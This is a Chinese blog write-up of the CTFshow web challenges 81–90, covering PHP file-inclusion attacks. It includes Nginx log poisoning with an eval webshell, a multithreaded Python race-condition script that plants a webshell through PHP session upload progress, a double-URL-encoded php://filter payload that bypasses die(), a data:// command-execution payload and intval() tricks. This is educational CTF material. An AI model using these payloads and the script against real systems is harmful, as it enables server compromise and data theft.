• 《CTFshow-Web入门》09. Web 81~90



    ctf - web入门

    索引

    • web81:include() 利用,一句话木马之 Nginx 日志利用。
    • web82~86:include() 利用,条件竞争,利用 session 文件写入一句话木马。
    • web87:file_put_contents() 利用,伪协议 php://filter/
    • web88:include() 利用,正则绕过,伪协议 data://
    • web89:PHP 特性之 intval()。
    • web90:PHP 特性之 intval()。

    web81

    和 web80 类似。

    这一题发现一个问题。如果不使用 BurpSuite 传递一句话木马,可能木马写进日志时特殊字符会被 url 编码,导致木马失效。

    刚做这题时使用 hackbar 传参出现了这个问题。可能是编码问题。

    题解

    比 web80 多过滤了【:】。

    在这里插入图片描述

    可以继续用 web80 的方法。

    看下日志。

    url + ?file=/var/log/nginx/access.log
    
    • 1

    传递一句话木马

    url + ?file=<?=eval($_POST['hi']);?>
    
    • 1

    在这里插入图片描述

    蚁剑连接日志文件。

    url地址:url + ?file=/var/log/nginx/access.log
    密码:hi
    
    • 1
    • 2

    连上之后即可。

    web82

    题解

    该题较上一题多过滤了【.】。

    在这里插入图片描述

    方法一:使用下面的脚本。这个脚本适用于 web82~web86。

    import requests
    import io
    import threading
    
    
    url='http://b04c7980-d374-4c39-9ebc-a612708262c8.challenge.ctf.show/'
    sessionid='ctfshow'
    data={
    	"1":"file_put_contents('/var/www/html/muma.php','');"
    }  
    
    '''
    post 传递内容可在网站目录下写入一句话木马。
    根据资料,内容暂存在 /tmp/ 目录下 sess_sessionid 文件。
    sessionid 可控,所以这里即 /tmp/sess_ctfshow。
    这样一旦访问成功,就说明木马植入了
    '''
    
    
    # /tmp/sess_sessionid 中写入一句话木马。
    def write(session):  
    	fileBytes = io.BytesIO(b'a'*1024*50)
    	while True:
    		response=session.post(
    			url,
    			data={
    			'PHP_SESSION_UPLOAD_PROGRESS':''
    			},
    			cookies={
    			'PHPSESSID':sessionid
    			},
    			files={
    			'file':('ctfshow.jpg',fileBytes)
    			}
    			)
    
    
    # 访问 /tmp/sess_sessionid,post 传递信息,保存新木马。
    def read(session):
    	while True:
    		response=session.post(
    			url+'?file=/tmp/sess_'+sessionid,
    	        data=data,
    			cookies={
    			'PHPSESSID':sessionid
    			}
    			)
    		# 访问木马文件,如果访问到了就代表竞争成功
    		resposne2=session.get(url+'muma.php')
    		if resposne2.status_code==200:
    			print('++++++done++++++')
    		else:
    			print(resposne2.status_code)
    
    if __name__ == '__main__':
    
    	evnet=threading.Event()
    	# 写入和访问分别设置 5 个线程。
    	with requests.session() as session:
    		for i in range(5):
    			threading.Thread(target=write,args=(session,)).start()
    		for i in range(5):
    			threading.Thread(target=read,args=(session,)).start()
    
    	evnet.set()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65

    运行脚本并成功写入后即可访问木马。

    在这里插入图片描述

    在这里插入图片描述

    方法二:直接使用 burp。

    参考文章:
    [CTFSHOW]文件包含78-88
    web入门文件包含82-86

    原理

    条件竞争。

    例如,当打开一个文件时,就无法删除该文件。
    所以,只要在上传文件的瞬间访问它,服务器来不及执行删除操作,就无法删除该文件。

    参考文章:
    ctfshow学习记录-web入门(文件包含78-87)
    利用session.upload_progress进行文件包含和反序列化渗透

    web83

    题解

    在这里插入图片描述

    加了两个函数:

    session_unset():
    释放当前在内存中已经创建的所有$_SESSION变量,但不删除session文件。
    
    session_destroy():
    删除当前用户对应的session文件以及释放sessionid。
    
    • 1
    • 2
    • 3
    • 4
    • 5

    但条件竞争使用的是上传那一瞬间创建的 session,所以不影响。

    依旧使用 web82 的脚本。

    web84

    题解

    在这里插入图片描述

    system(rm -rf /tmp/*);,因为 session.upload_progress.cleanup = on 会清空对应 session 文件中的内容,所以加上删除对竞争的影响不大。

    依旧使用 web82 的脚本。

    web85

    题解

    在这里插入图片描述

    增加了内容识别,如果有【<】就 die,不影响竞争。

    依旧使用 web82 的脚本。

    web86

    题解

    在这里插入图片描述

    dirname(__FILE__):表示当前文件的绝对路径。
    set_include_path():用来设置 include 的路径,即 include() 可以不提供文件的完整路径。

    include 文件时,当包含路径既不是相对路径,也不是绝对路径时,会先查找 include_path 所设置的目录。

    web82 脚本里用的是完整路径,不影响竞争。

    web87

    题解

    根据题目,可以根据 file 生成一个 php 文件,文件内容可由 content 参数传递。

    在这里插入图片描述

    注意看,传过去的 file 参数经过了 urldecode() 函数解码。所以 file 参数的内容要经过 url 编码再传递。同时网络传递时会对 url 编码的内容解一次码,所以需要对内容进行两次url编码。

    另外,需要绕过 die() 函数。

    根据文章 谈一谈php://filter的妙用 ,可以有以下思路:

    • base64 编码范围是 0 ~ 9,a ~ z,A ~ Z,+,/ ,所以除了这些字符,其他字符都会被忽略。
    • 所以对于 ,base64 编解码过滤之后就只有 phpdie 6个字符了,即可进行绕过。
    • 前面的 file 参数用 php://filter/write=convert.base64-encode 来解码写入,这样文件的 die() 就会被 base64 过滤,这样 die() 函数就绕过了。
    • 后面再拼接 base64 编码后的一句话木马或者 php 代码,被解码后刚好可以执行。
    • 由于 base64 是4个一组,而 phpdie 只有六个,所以要加两个字母凑足base64的格式。

    这题传参时,file 用 get 方法,content 用 post 方法。

    思路说完了,开搞开搞。

    php://filter/write=convert.base64-decode/resource=123.php 进行两次 url 编码。(服务器生成 123.php 文件)

    在这里插入图片描述

    php://filter/write=convert.base64-decode/resource=123.php
    两次 url 编码:
    %25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%33%31%25%33%32%25%33%33%25%32%65%25%37%30%25%36%38%25%37%30
    
    • 1
    • 2
    • 3

    接下来对于 content 参数,就有很多方法了。

    法一

    可传递 ”。可能什么地方出了问题。

    原理

    • file_put_contents(filename, data):将数据写入文件。
    • urldecode():解码已编码的 URL 字符串。

    谈一谈php://filter的妙用

    web88

    题解

    这一题可以用 data:// 协议。

    在这里插入图片描述

    过滤了 “ = ” 号,如果构造命令时,base64 编码出现 “ = ”,可以尝试在后面加空格,避免等号出现。

    构造 。在语句后添加空格避免出现等号。

    <?php system('cat f*.php');?> 
    base64 编码:
    PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4g
    
    • 1
    • 2
    • 3

    url + ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZioucGhwJyk7Pz4g
    
    • 1

    传参后查看源码即可。

    web89

    题解

    在这里插入图片描述

    • preg_match()
      执行匹配正则表达式。只能处理字符串,所以当传入数组时会返回 false。
    • intval(value)
      用于获取变量的整数值。成功时返回 value 的 integer 值,失败时返回 0。空的数组返回 0,非空的数组返回 1。

    所以这题传个数组就行。

    url + ?num[]=1
    
    • 1

    在这里插入图片描述

    web90

    题解

    在这里插入图片描述

    • intval(mixed $value, int $base = 10)
      通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。

    如果 base 是 0,通过检测 value 的格式来决定使用的进制:

    • 如果字符串包括了 “0x”(或 “0X”)的前缀,使用 16 进制(hex)
    • 如果字符串以 “0” 开始,使用 8 进制(octal)
    • 否则将使用 10 进制(decimal)。

    intval() 还有一个特性。输入的值如果是字符串,它返回的内容取决于第一个字符左侧的数字。如 intval(‘11a22’)=11。

    法一

    使用非十进制数传递:

    在这里插入图片描述

    url + ?num=010574
    
    • 1

    法二

    url + ?num=4476a
    
    • 1

    美人赠我锦绣段,何以报之青玉案。

    ——《四愁诗》(两汉)张衡

  • 相关阅读:
    AtCoder Beginner Contest 254【VP记录】
    7-10 成绩排序
    排序算法的奥秘:JAVA中的揭秘与实现
    Vue学习之样式汇总
    asp.net家电下乡销售网
    【二叉树的顺序结构:堆 && 堆排序 && TopK]
    一零四、大数据可视化技术与应用实训(展示大屏幕)
    关键点检测 HRNet网络详解笔记
    (附源码)计算机毕业设计SSM基于框架的在线问答平台
    枚举(enum)
  • 原文地址:https://blog.csdn.net/KeepPromise/article/details/130506864